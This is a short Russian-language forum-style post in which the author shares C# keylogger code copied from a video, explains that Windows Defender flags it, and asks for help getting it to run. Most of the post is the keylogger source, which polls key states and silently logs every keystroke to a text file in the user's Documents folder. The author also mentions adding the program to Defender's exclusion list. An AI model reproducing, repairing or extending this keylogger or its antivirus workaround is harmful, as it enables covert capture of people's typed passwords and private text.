Смотрел у одного дедка из Америки видос про создание кейлогера (исключительно в ознакомительных целях) и переписал его код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
namespace KeyLoggerDemo
{
public partial class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
//Хранение нажатой клавиши
static string KeyLog = "";
static void Main()
{
string filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
if (!Directory.Exists(filepath))
{
Directory.CreateDirectory(filepath);
}
string path = (filepath + @"\keyloggerlog.txt");
if (!File.Exists(path))
{
using (StreamWriter sw = File.CreateText(path))
{
}
}
//1. Проверка и запись нажатых клавиш и их вывод на дисплей
while (true)
{
Thread.Sleep(5);
for (int i = 32; i < 127; i++)
{
int KeyState = GetAsyncKeyState(i);
if (KeyState == -32767)
{
Console.WriteLine(i + ", ");
using (StreamWriter sw = File.AppendText(path))
{
sw.Write((char)i);
}
}
}
}
}
}
}
Стоит отметить, что прога вылетает не просто так, предварительно в правом нижнем углу вылезает защитник Windows и орет, мол эта штука использует какие то там интсрументы
UPD: Я внес прогу в список исключенный защитника винды и программа также не работает ! HELPPPP
UPD2: Я перенес это всё в цикл, и теперь просто 0 реакции